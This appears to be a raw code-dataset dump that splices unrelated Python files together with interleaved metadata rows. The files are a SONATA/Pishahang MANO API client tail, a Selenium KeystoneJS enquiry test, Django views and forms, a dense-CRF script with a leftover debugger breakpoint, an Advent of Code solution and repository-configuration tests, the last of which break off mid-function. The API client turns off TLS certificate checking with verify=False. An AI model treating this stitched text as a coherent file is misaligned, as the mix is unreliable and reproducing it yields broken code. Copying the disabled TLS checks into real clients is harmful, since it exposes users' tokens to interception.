except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.created:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def post_cs_instances_nsinstanceid_instantiate(self, token, nsInstanceId, egresses=[], ingresses=[], host=None, port=None):
""" NS (CS) Lifecycle Management Interface -
Instantiate CS task
:param token: auth token retrieved by the auth call
:param nsInstanceId: NS instaniation description
:param ingresses: ingresses list
:param egresses: egresses list
:param host: host url
:param port: port where the MANO API can be accessed
Example:
.. code-block:: python
sonata_pishahang = SONATAClient.Pishahang(HOST_URL)
sonata_auth = SONATAClient.Auth(HOST_URL)
_token = json.loads(sonata_auth.auth(username=USERNAME, password=PASSWORD))
_token = json.loads(_token["data"])
_cosd_list = json.loads(sonata_pishahang.get_cosd_descriptors(token=_token["token"]["access_token"]))
_cosd_list = json.loads(_cosd_list["data"])
_ns = None
for _n in _cosd_list:
if "A dummy Example." == _n['nsd']['description']:
_ns = _n['uuid']
if _ns:
response = json.loads(
sonata_pishahang.post_cs_instances_nsinstanceid_instantiate(
token=_token["token"]["access_token"], nsInstanceId=_ns))
"""
if host is None:
base_path = self._base_path.format(self._host, self._requests_port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {
"Content-Type": "application/json",
"accept": "application/json",
"Authorization": 'Bearer {}'.format(token)}
data = {
"service_uuid": nsInstanceId,
"egresses" : egresses,
"ingresses" : ingresses
}
_endpoint = "{0}/api/v2/requests".format(base_path)
try:
r = requests.post(_endpoint, params=None, verify=False,
headers=headers, json=data)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.created:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def post_cs_instances_nsinstanceid_terminate(self, token, nsInstanceId, host=None, port=None):
""" NS (CS) Lifecycle Management Interface -
Terminate CS task
:param token: auth token retrieved by the auth call
:param nsInstanceId: id of the NS instance
:param host: host url
:param port: port where the MANO API can be accessed
:param force: true/false whether to force terminate
"""
if host is None:
base_path = self._base_path.format(self._host, self._requests_port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {
"Content-Type": "application/json",
"accept": "application/json",
"Authorization": 'Bearer {}'.format(token)}
data = {
"service_instance_uuid": nsInstanceId,
"request_type": "TERMINATE"
}
_endpoint = "{0}/api/v2/requests".format(base_path)
try:
r = requests.post(_endpoint, params=None, verify=False,
headers=headers, json=data)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.created:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def delete_cosd_descriptors_cosdpkgid(self, token, cosdpkgid, host=None, port=None):
""" COSD Management Interface - Individual COSD Descriptor
:param token: auth token retrieved by the auth call
:param cosdpkgid: id of the individual NSD
:param host: host url
:param port: port where the MANO API can be accessed
"""
if host is None:
base_path = self._base_path.format(self._host, self._port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/x-yaml", "accept": "application/json",
'Authorization': 'Bearer {}'.format(token)}
_endpoint = "{0}/catalogues/api/v2/complex-services/{1}".format(base_path, cosdpkgid)
try:
r = requests.delete(_endpoint, params=None, verify=False, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.no_content:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
def delete_csd_descriptors_csdpkgid(self, token, csdpkgid, host=None, port=None):
""" CSD Package Management Interface -
Individual CSD package
:param token: auth token retrieved by the auth call
:param csdpkgid: id of the vnf package to fetch
:param host: host url
:param port: port where the MANO API can be accessed
"""
if host is None:
base_path = self._base_path.format(self._host, self._port)
else:
base_path = self._base_path.format(host, port)
result = {'error': True, 'data': ''}
headers = {"Content-Type": "application/x-yaml", 'Authorization': 'Bearer {}'.format(token)}
_endpoint = "{0}/catalogues/api/v2/csds/{1}".format(base_path, csdpkgid)
try:
r = requests.delete(_endpoint, params=None, verify=False, headers=headers)
except Exception as e:
result['data'] = str(e)
return result
if r.status_code == requests.codes.no_content:
result['error'] = False
result['data'] = r.text
return json.dumps(result)
| 37.375276
| 127
| 0.576576
| 1,902
| 16,931
| 4.983701
| 0.082019
| 0.047262
| 0.029117
| 0.037135
| 0.886697
| 0.874143
| 0.863382
| 0.846819
| 0.83838
| 0.809474
| 0
| 0.00406
| 0.316343
| 16,931
| 452
| 128
| 37.457965
| 0.81486
| 0.313744
| 0
| 0.831858
| 0
| 0.004425
| 0.123853
| 0.030845
| 0
| 0
| 0
| 0
| 0
| 1
| 0.053097
| false
| 0
| 0.00885
| 0
| 0.163717
| 0
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| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
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| 0
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| 1
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| null | 0
| 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
3808fa71b6857ce991b61efa1338cd5d5a71f603
| 4,083
|
py
|
Python
|
lab4/src/enquirie_feature.py
|
derry95922/STV
|
d6f3893c6c6812dc35970513d83e375f4a90c7c9
|
[
"Apache-2.0"
] | null | null | null |
lab4/src/enquirie_feature.py
|
derry95922/STV
|
d6f3893c6c6812dc35970513d83e375f4a90c7c9
|
[
"Apache-2.0"
] | 1
|
2022-01-21T23:23:56.000Z
|
2022-01-21T23:23:56.000Z
|
lab4/src/enquirie_feature.py
|
derry95922/STV
|
d6f3893c6c6812dc35970513d83e375f4a90c7c9
|
[
"Apache-2.0"
] | null | null | null |
import unittest
from keywords import *
class test_suite(unittest.TestCase):
def create_enquiry_on_the_contact_page(self):
driver = webdriver.Chrome()
driver.get("http://127.0.0.1:3000/")
driver.maximize_window()
wait_element_is_visible(driver, "//li//*[text()='Contact']").click()
input_text(driver, "//*[@name='name.full']", "testName")
input_text(driver, "//*[@name='email']", "demo@keystonejs.com")
input_text(driver, "//*[@name='phone']", "0987654321")
wait_element_is_visible(driver, "//*[@name='enquiryType']").click()
wait_element_is_visible(driver, "//*[text()='Just leaving a message']").click()
input_text(driver, "//*[@name='message']", "testMessage")
actualName = driver.find_element(By.XPATH, "//*[@name='name.full']").get_attribute("value")
wait_element_is_visible(driver, "//*[text()='Submit']").click()
wait_element_is_visible(driver, "//*[text()='Success!']")
assert "Success" in driver.find_element(By.XPATH, "//*[text()='Success!']").text
driver.quit()
driver = login()
wait_element_is_visible(driver, "//a[text()='Enquiries']").click()
wait_element_is_visible(driver, "//*[@class='ItemList-wrapper']")
expectName = driver.find_element(By.XPATH, "//*[contains(@class,'ItemList__value--name')]").text
assert actualName == expectName
delete_enquiry(driver)
logout(driver)
def delete_enquiry_on_admin_ui_page(self):
create_enquiry()
driver = login()
wait_element_is_visible(driver, "//a[text()='Enquiries']").click()
wait_element_is_visible(driver, "//*[@class='ItemList-wrapper']")
wait_element_is_visible(driver, "//*[contains(@class,'ItemList__value--name')]/../preceding-sibling::*").click()
wait_element_is_visible(driver, "//*[@data-screen-id='modal-dialog']")
wait_element_is_visible(driver, "//*[@data-button-type='confirm']").click()
wait_element_is_visible(driver, "//*[text()='No enquiries found...']")
noEnquiries = driver.find_element(By.XPATH, "//*[text()='No enquiries found...']").text
assert "No enquiries found..." == noEnquiries
logout(driver)
def create_enquiry():
driver = webdriver.Chrome()
driver.get("http://127.0.0.1:3000/")
driver.maximize_window()
wait_element_is_visible(driver, "//li//*[text()='Contact']").click()
input_text(driver, "//*[@name='name.full']", "testName")
input_text(driver, "//*[@name='email']", "demo@keystonejs.com")
input_text(driver, "//*[@name='phone']", "0987654321")
wait_element_is_visible(driver, "//*[@name='enquiryType']").click()
wait_element_is_visible(driver, "//*[text()='Just leaving a message']").click()
input_text(driver, "//*[@name='message']", "testMessage")
wait_element_is_visible(driver, "//*[text()='Submit']").click()
wait_element_is_visible(driver, "//*[text()='Success!']")
assert "Success" in driver.find_element(By.XPATH, "//*[text()='Success!']").text
driver.quit()
def delete_enquiry(driver):
wait_element_is_visible(driver, "//a[text()='Enquiries']").click()
wait_element_is_visible(driver, "//*[@class='ItemList-wrapper']")
wait_element_is_visible(driver, "//*[contains(@class,'ItemList__value--name')]/../preceding-sibling::*").click()
wait_element_is_visible(driver, "//*[@data-screen-id='modal-dialog']")
wait_element_is_visible(driver, "//*[@data-button-type='confirm']").click()
wait_element_is_visible(driver, "//*[text()='No enquiries found...']")
noEnquiries = driver.find_element(By.XPATH, "//*[text()='No enquiries found...']").text
assert "No enquiries found..." == noEnquiries
def suite():
suite = unittest.TestSuite()
suite.addTests([test_suite('create_enquiry_on_the_contact_page'),
test_suite('delete_enquiry_on_admin_ui_page'),
])
return suite
if __name__ == '__main__':
runner = unittest.TextTestRunner(verbosity=2)
runner.run(suite())
| 47.476744
| 120
| 0.642175
| 470
| 4,083
| 5.302128
| 0.2
| 0.105939
| 0.125201
| 0.192616
| 0.846308
| 0.815008
| 0.770867
| 0.770867
| 0.770867
| 0.770867
| 0
| 0.011833
| 0.151359
| 4,083
| 86
| 121
| 47.476744
| 0.707359
| 0
| 0
| 0.704225
| 0
| 0
| 0.334476
| 0.194172
| 0
| 0
| 0
| 0
| 0.070423
| 1
| 0.070423
| false
| 0
| 0.028169
| 0
| 0.126761
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
69c66c4b2423db2880b1390010ea8bc6e4201ef2
| 98
|
py
|
Python
|
blogApp/blog/views.py
|
yuniithings/yuniithings.com
|
92c59bf3c4da6c4dd31d7f6bb62db7c38c71f499
|
[
"Apache-2.0"
] | null | null | null |
blogApp/blog/views.py
|
yuniithings/yuniithings.com
|
92c59bf3c4da6c4dd31d7f6bb62db7c38c71f499
|
[
"Apache-2.0"
] | null | null | null |
blogApp/blog/views.py
|
yuniithings/yuniithings.com
|
92c59bf3c4da6c4dd31d7f6bb62db7c38c71f499
|
[
"Apache-2.0"
] | null | null | null |
from blog.viewpackages.main import main_view
def index(request):
return main_view(request)
| 14
| 44
| 0.77551
| 14
| 98
| 5.285714
| 0.714286
| 0.216216
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153061
| 98
| 6
| 45
| 16.333333
| 0.891566
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
69c87f66108b2774de9c9c4b98197ad510a734e0
| 11,167
|
py
|
Python
|
test_densecrf.py
|
lynetcha/densecrf-python
|
b1004d2e5b5ca9f7680b549cd746f1d60eea086a
|
[
"Xnet",
"Linux-OpenIB",
"X11"
] | 13
|
2017-05-16T03:01:15.000Z
|
2021-03-08T12:16:57.000Z
|
test_densecrf.py
|
lynetcha/densecrf-python
|
b1004d2e5b5ca9f7680b549cd746f1d60eea086a
|
[
"Xnet",
"Linux-OpenIB",
"X11"
] | 1
|
2019-11-05T17:02:49.000Z
|
2019-11-05T17:02:49.000Z
|
test_densecrf.py
|
lynetcha/densecrf-python
|
b1004d2e5b5ca9f7680b549cd746f1d60eea086a
|
[
"Xnet",
"Linux-OpenIB",
"X11"
] | 5
|
2017-06-14T03:08:48.000Z
|
2019-09-20T00:09:43.000Z
|
import cv2
import random
import numpy as np
from Pydensecrf import *
from pydensecrf.utils import unary_from_labels, create_pairwise_bilateral, create_pairwise_gaussian
def show_img(img):
cv2.imshow('img', img)
cv2.waitKey(0)
cv2.destroyAllWindows()
def test_img_fw():
img = cv2.imread('examples/im1.ppm')
anno_rgb = cv2.imread('examples/anno1.ppm').astype(np.uint32)
anno_lbl = anno_rgb[:, :, 0] + \
(anno_rgb[:, :, 1] << 8) + (anno_rgb[:, :, 2] << 16)
# Convert the 32bit integer color to 1, 2, ... labeling.
# Note that all-black, i.e. the value 0 for background will stay 0.
colors, labels = np.unique(anno_lbl, return_inverse=True)
# And create a mapping back from the labels to 32bit integer colors.
# But remove the all-0 black, that won't exist in the MAP!
colors = colors[1:]
colorize = np.empty((len(colors), 3), np.uint8)
colorize[:, 0] = (colors & 0x0000FF)
colorize[:, 1] = (colors & 0x00FF00) >> 8
colorize[:, 2] = (colors & 0xFF0000) >> 16
# Compute the number of classes in the label image.
# We subtract one because the number shouldn't include the value 0 which stands
# for "unknown" or "unsure".
n_labels = len(set(labels.flat)) - 1
print(n_labels, " labels and \"unknown\" 0: ", set(labels.flat))
# Example using the DenseCRF class and the util functions
d = DenseCRF(img.shape[1] * img.shape[0], n_labels)
# get unary potentials (neg log probability)
U = unary_from_labels(labels, n_labels, gt_prob=0.7, zero_unsure=True)
d.setUnaryEnergy(U)
# This creates the color-independent features and then add them to the CRF
feats = create_pairwise_gaussian(
sdims=(3, 3), shape=img.shape[:2]).astype(np.float32)
d.addPairwiseEnergy(feats, PottsCompatibility(3),
KernelType.DIAG_KERNEL,
NormalizationType.NORMALIZE_SYMMETRIC)
# This creates the color-dependent features and then add them to the CRF
feats = create_pairwise_bilateral(sdims=(80, 80), schan=(13, 13, 13),
img=img, chdim=2).astype(np.float32)
d.addPairwiseEnergy(feats, PottsCompatibility(10),
KernelType.DIAG_KERNEL,
NormalizationType.NORMALIZE_SYMMETRIC)
####################################
### Do inference and compute MAP ###
####################################
# Run five inference steps.
Q = d.inference(5)
# Find out the most probable class for each pixel.
MAP = np.argmax(Q, axis=0)
# Convert the MAP (labels) back to the corresponding colors and save the
# image.
MAP = colorize[MAP, :]
print MAP.shape
show_img(MAP.reshape(img.shape))
def test_img_bw():
NIT_ = 5
img = cv2.imread('examples/im1.ppm')
anno_rgb = cv2.imread('examples/anno1.ppm').astype(np.uint32)
anno_lbl = anno_rgb[:, :, 0] + \
(anno_rgb[:, :, 1] << 8) + (anno_rgb[:, :, 2] << 16)
# Convert the 32bit integer color to 1, 2, ... labels.
# Note that all-black, i.e. the value 0 for background will stay 0.
colors, labeling = np.unique(anno_lbl, return_inverse=True)
# And create a mapping back from the labels to 32bit integer colors.
# But remove the all-0 black, that won't exist in the MAP!
colorize = np.empty((len(colors), 3), np.uint8)
colorize[:, 0] = (colors & 0x0000FF)
colorize[:, 1] = (colors & 0x00FF00) >> 8
colorize[:, 2] = (colors & 0xFF0000) >> 16
# Compute the number of classes in the label image.
# We subtract one because the number shouldn't include the value 0 which stands
# for "unknown" or "unsure".
# n_labels = len(set(labeling.flat)) - 1
# print(n_labels, " labels and \"unknown\" 0: ", set(labeling.flat))
# Example using the DenseCRF class and the util functions
N = img.shape[0] * img.shape[1]
M = 4
d = DenseCRF(img.shape[1] * img.shape[0], M)
logistic_feature = np.ones((4, N), dtype=np.float32)
logistic_transform = np.zeros((M, 4), dtype=np.float32)
img_reshape = img.reshape(-1, 3)
logistic_feature[:3, :] = img_reshape.T / 255.
for j in xrange(logistic_transform.shape[1]):
for i in xrange(logistic_transform.shape[0]):
logistic_transform[i, j] = 0.01 * (1 - 2 * random.random())
# U = unary_from_labels(labeling, n_labels, gt_prob=0.7, zero_unsure=True)
d.setUnaryEnergy(logistic_transform, logistic_feature)
# This creates the color-independent features and then add them to the CRF
feats = create_pairwise_gaussian(
sdims=(3, 3), shape=img.shape[:2]).astype(np.float32)
d.addPairwiseEnergy(feats, PottsCompatibility(1),
KernelType.DIAG_KERNEL,
NormalizationType.NORMALIZE_SYMMETRIC)
# This creates the color-dependent features and then add them to the CRF
feats = create_pairwise_bilateral(sdims=(80, 80), schan=(13, 13, 13),
img=img, chdim=2).astype(np.float32)
d.addPairwiseEnergy(feats, PottsCompatibility(1),
KernelType.DIAG_KERNEL,
NormalizationType.NORMALIZE_SYMMETRIC)
objective = IntersectionOverUnion(labeling.astype(np.int16))
#objective = Hamming(labeling.astype(np.int32),np.ones(n_label).astype(np.float32))
# Optimize the CRF in 3 phases:
# * First unary only
# * Unary and pairwise
# * Full CRF
learning_params = np.array([[True, False, False],
[True, True, False],
[True, True, True]])
for i in range(learning_params.shape[0]):
# Setup the energy
energy = CRFEnergy(d, objective, NIT_, learning_params[
i, 0], learning_params[i, 1], learning_params[i, 2])
energy.setL2Norm(1e-3)
# Minimize the energy
p = minimizeLBFGS(energy, 2, True)
# Save the values
idx = 0
if learning_params[i, 0]:
print "HERE"
print d.unaryParameters().shape
d.setUnaryParameters(p[idx:idx + d.unaryParameters().shape[0]])
idx += d.unaryParameters().shape[0]
if learning_params[i, 1]:
d.setLabelCompatibilityParameters(
p[idx:idx + d.labelCompatibilityParameters().shape[0]])
idx += d.labelCompatibilityParameters().shape[0]
if learning_params[i, 2]:
d.setKernelParameters(p[idx:idx + d.kernelParameters().shape[0]])
idx += d.kernelParameters().shape[0]
print "Pairwise Parameters: ", d.labelCompatibilityParameters()
print "Kernel Parameters: ", d.kernelParameters()
# Run five inference steps.
Q = d.inference(NIT_)
# Find out the most probable class for each pixel.
MAP = np.argmax(Q, axis=0)
# Convert the MAP (labeling) back to the corresponding colors and save the
# image.
MAP = colorize[MAP, :]
from ipdb import set_trace; set_trace()
show_img(MAP.reshape(img.shape))
def test_img_bw_2D():
NIT_ = 5
img = cv2.imread('examples/im1.ppm')
anno_rgb = cv2.imread('examples/anno1.ppm').astype(np.uint32)
anno_lbl = anno_rgb[:, :, 0] + \
(anno_rgb[:, :, 1] << 8) + (anno_rgb[:, :, 2] << 16)
# Convert the 32bit integer color to 1, 2, ... labels.
# Note that all-black, i.e. the value 0 for background will stay 0.
colors, labels = np.unique(anno_lbl, return_inverse=True)
# And create a mapping back from the labels to 32bit integer colors.
# But remove the all-0 black, that won't exist in the MAP!
colors = colors[0:]
colorize = np.empty((len(colors), 3), np.uint8)
colorize[:, 0] = (colors & 0x0000FF)
colorize[:, 1] = (colors & 0x00FF00) >> 8
colorize[:, 2] = (colors & 0xFF0000) >> 16
# Compute the number of classes in the label image.
# We subtract one because the number shouldn't include the value 0 which stands
# for "unknown" or "unsure".
# Example using the DenseCRF class and the util functions
d = DenseCRF2D(img.shape[1], img.shape[0], 4) # n_labels)
N = img.shape[0] * img.shape[1]
M = 4 # n_labels
logistic_feature = np.ones((4, N), dtype=np.float32)
logistic_transform = np.zeros((M, 4), dtype=np.float32)
img_reshape = img.reshape(-1, 3)
logistic_feature[:3, :] = img_reshape.T / 255.
for j in xrange(logistic_transform.shape[1]):
for i in xrange(logistic_transform.shape[0]):
logistic_transform[i, j] = 0.01 * (1 - 2 * random.random())
# U = unary_from_labels(labels, n_labels, gt_prob=0.7, zero_unsure=True)
d.setUnaryEnergy(logistic_transform, logistic_feature)
# This creates the color-independent features and then add them to the CRF
d.addPairwiseGaussian(3, 3, PottsCompatibility(1), KernelType.DIAG_KERNEL,
NormalizationType.NORMALIZE_SYMMETRIC)
# This creates the color-dependent features and then add them to the CRF
matrix = np.ones((M,M)).astype(np.float32)
d.addPairwiseBilateral(80., 80., 13., 13., 13., img,
MatrixCompatibility(matrix),
KernelType.DIAG_KERNEL,
NormalizationType.NORMALIZE_SYMMETRIC)
objective = IntersectionOverUnion(labeling.astype(np.int16))
# Optimize the CRF in 3 phases:
# * First unary only
# * Unary and pairwise
# * Full CRF
learning_params = np.array([[True, False, False],
[True, True, False],
[True, True, True]])
for i in range(learning_params.shape[0]):
# Setup the energy
energy = CRFEnergy(d, objective, NIT_, learning_params[i, 0],
learning_params[i, 1], learning_params[i, 2])
energy.setL2Norm(1e-3)
# Minimize the energy
p = minimizeLBFGS(energy, 2, True)
# Save the values
idx = 0
if learning_params[i, 0]:
d.setUnaryParameters(p[idx:idx + d.unaryParameters().shape[0]])
idx += d.unaryParameters().shape[0]
if learning_params[i, 1]:
d.setLabelCompatibilityParameters(
p[idx:idx + d.labelCompatibilityParameters().shape[0]])
idx += d.labelCompatibilityParameters().shape[0]
if learning_params[i, 2]:
d.setKernelParameters(p[idx:idx + d.kernelParameters().shape[0]])
idx += d.kernelParameters().shape[0]
# Return parameters
print "Unary Parameters: ", d.unaryParameters()
print "Pairwise Parameters: ", d.labelCompatibilityParameters()
print "Kernel Parameters: ", d.kernelParameters()
# Run five inference steps.
Q = d.inference(NIT_)
# Find out the most probable class for each pixel.
MAP = np.argmax(Q, axis=0)
# Convert the MAP (labeling) back to the corresponding colors and save the
# image.
MAP = colorize[MAP, :]
show_img(MAP.reshape(img.shape))
if __name__ == '__main__':
test_img_fw()
test_img_bw()
# test_img_bw_2D()
| 37.599327
| 99
| 0.62022
| 1,454
| 11,167
| 4.667125
| 0.151995
| 0.018568
| 0.026525
| 0.016799
| 0.894783
| 0.894783
| 0.880342
| 0.875626
| 0.867816
| 0.861627
| 0
| 0.037786
| 0.255843
| 11,167
| 296
| 100
| 37.726351
| 0.778821
| 0.267843
| 0
| 0.745342
| 0
| 0
| 0.028888
| 0
| 0
| 0
| 0.008965
| 0
| 0
| 0
| null | null | 0
| 0.037267
| null | null | 0.055901
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
69d826bd54f8de8193be34e3d49acbb0a58d515d
| 106
|
py
|
Python
|
basicmonitor/triggers/__init__.py
|
TorbenFricke/basicmonitor
|
c636f2d7efc80831008c23fa4b6030b3183d505f
|
[
"CC-BY-4.0",
"MIT"
] | null | null | null |
basicmonitor/triggers/__init__.py
|
TorbenFricke/basicmonitor
|
c636f2d7efc80831008c23fa4b6030b3183d505f
|
[
"CC-BY-4.0",
"MIT"
] | null | null | null |
basicmonitor/triggers/__init__.py
|
TorbenFricke/basicmonitor
|
c636f2d7efc80831008c23fa4b6030b3183d505f
|
[
"CC-BY-4.0",
"MIT"
] | null | null | null |
from basicmonitor.triggers.manager import TriggerManager
from basicmonitor.triggers.trigger import Trigger
| 53
| 56
| 0.896226
| 12
| 106
| 7.916667
| 0.583333
| 0.336842
| 0.505263
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.066038
| 106
| 2
| 57
| 53
| 0.959596
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
69f956ac279afe4dab652eb1f3b78d4c33d0b019
| 434
|
py
|
Python
|
src/playlist/forms.py
|
KushalVijay/Youtube-Video-Downloader
|
6698012f5ce0558d3917c3216361f43a8485e9ea
|
[
"MIT"
] | 4
|
2020-04-26T06:35:09.000Z
|
2020-08-11T13:41:56.000Z
|
src/playlist/forms.py
|
KushalVijay/Youtube-Video-Downloader
|
6698012f5ce0558d3917c3216361f43a8485e9ea
|
[
"MIT"
] | null | null | null |
src/playlist/forms.py
|
KushalVijay/Youtube-Video-Downloader
|
6698012f5ce0558d3917c3216361f43a8485e9ea
|
[
"MIT"
] | null | null | null |
from django import forms
from .models import videolink
class getlink(forms.ModelForm):
class Meta:
model = videolink
fields = '__all__'
def clean(self):
data = self.cleaned_data
return data
class downlink(forms.ModelForm):
class Meta:
model = videolink
fields = '__all__'
def clean(self):
data = self.cleaned_data
return data
| 18.869565
| 33
| 0.587558
| 46
| 434
| 5.326087
| 0.434783
| 0.114286
| 0.155102
| 0.187755
| 0.710204
| 0.710204
| 0.710204
| 0.710204
| 0.710204
| 0.710204
| 0
| 0
| 0.345622
| 434
| 22
| 34
| 19.727273
| 0.862676
| 0
| 0
| 0.75
| 0
| 0
| 0.033981
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0.125
| 0
| 0.625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
384e750bdcb722e52c182a0021a78a18ee047bd5
| 431
|
py
|
Python
|
aoc2019/solutions/day04.py
|
mdalzell/advent-of-code-2019
|
ee3c228542999c8efa3961dc5f64dd9c0272826a
|
[
"MIT"
] | null | null | null |
aoc2019/solutions/day04.py
|
mdalzell/advent-of-code-2019
|
ee3c228542999c8efa3961dc5f64dd9c0272826a
|
[
"MIT"
] | null | null | null |
aoc2019/solutions/day04.py
|
mdalzell/advent-of-code-2019
|
ee3c228542999c8efa3961dc5f64dd9c0272826a
|
[
"MIT"
] | null | null | null |
from aoc2019.helpers.day04 import countValidPasswordsInRange, consecutiveDigitsRegex, exactlyTwoConsecutiveDigitsRegex
from aoc2019.shared.solution import Solution
class Day4(Solution):
def part1(self):
return countValidPasswordsInRange(
152085, 670283, consecutiveDigitsRegex)
def part2(self):
return countValidPasswordsInRange(
152085, 670283, exactlyTwoConsecutiveDigitsRegex)
| 33.153846
| 118
| 0.767981
| 33
| 431
| 10.030303
| 0.575758
| 0.066465
| 0.217523
| 0.253776
| 0.29003
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10452
| 0.178654
| 431
| 12
| 119
| 35.916667
| 0.830508
| 0
| 0
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0.333333
| 0.222222
| 0.222222
| 0.777778
| 0
| 0
| 0
| 1
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 7
|
3863f1187782744316d9760627c5f28172d79c87
| 6,536
|
py
|
Python
|
tests/test_repos.py
|
baricadr/baricadr
|
a7e59d305f62e1eedd479a2e17cd0c56b4855ea6
|
[
"MIT"
] | 1
|
2020-08-19T14:18:28.000Z
|
2020-08-19T14:18:28.000Z
|
tests/test_repos.py
|
baricadr/baricadr
|
a7e59d305f62e1eedd479a2e17cd0c56b4855ea6
|
[
"MIT"
] | 7
|
2018-11-06T16:03:54.000Z
|
2021-09-15T15:44:41.000Z
|
tests/test_repos.py
|
baricadr/baricadr
|
a7e59d305f62e1eedd479a2e17cd0c56b4855ea6
|
[
"MIT"
] | 2
|
2018-11-06T15:03:04.000Z
|
2020-08-20T12:55:49.000Z
|
import os
import tempfile
import pytest
from . import BaricadrTestCase
class TestRepos(BaricadrTestCase):
def test_get_empty(self, app):
conf = {
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_get_incomplete(self, app):
conf = {
'/foo/bar': []
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_overlap(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:host:google',
'user': 'someone',
'password': 'xxxxx'
},
'/foo/bar/some/thing': {
'backend': 'sftp',
'url': 'host:host:google',
'user': 'someone',
'password': 'xxxxx'
}
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_overlap_reverse(self, app):
conf = {
'/foo/bar/some/thing': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx'
},
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx'
}
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_overlap_symlink(self, app):
lnk_src = '/foo/bar/some/thing'
lnk_dst = '/tmp/somelink'
if os.path.isdir(lnk_dst):
os.unlink(lnk_dst)
os.symlink(lnk_src, lnk_dst)
conf = {
'/foo/bar/': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx'
},
lnk_dst: {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx'
}
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
os.unlink(lnk_dst)
def test_dir_not_exist(self, app):
with tempfile.TemporaryDirectory() as local_path:
local_path_not_exist = local_path + '/test/'
conf = {
local_path_not_exist: {
'backend': 'sftp',
'url': 'host:sftp:test-repo/',
'user': 'foo',
'password': 'pass'
}
}
assert not os.path.exists(local_path_not_exist)
app.repos.read_conf_from_str(str(conf))
assert os.path.exists(local_path_not_exist)
def test_freeze_age_conf(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'freezable': True,
'freeze_age': 12
},
}
repos = app.repos.do_read_conf(str(conf))
repo = repos['/foo/bar']
assert repo.freeze_age == 12
def test_freeze_age_conf_str(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'freezable': True,
'freeze_age': 'xxxx'
},
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_freeze_age_conf_none(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'freezable': True
},
}
repos = app.repos.do_read_conf(str(conf))
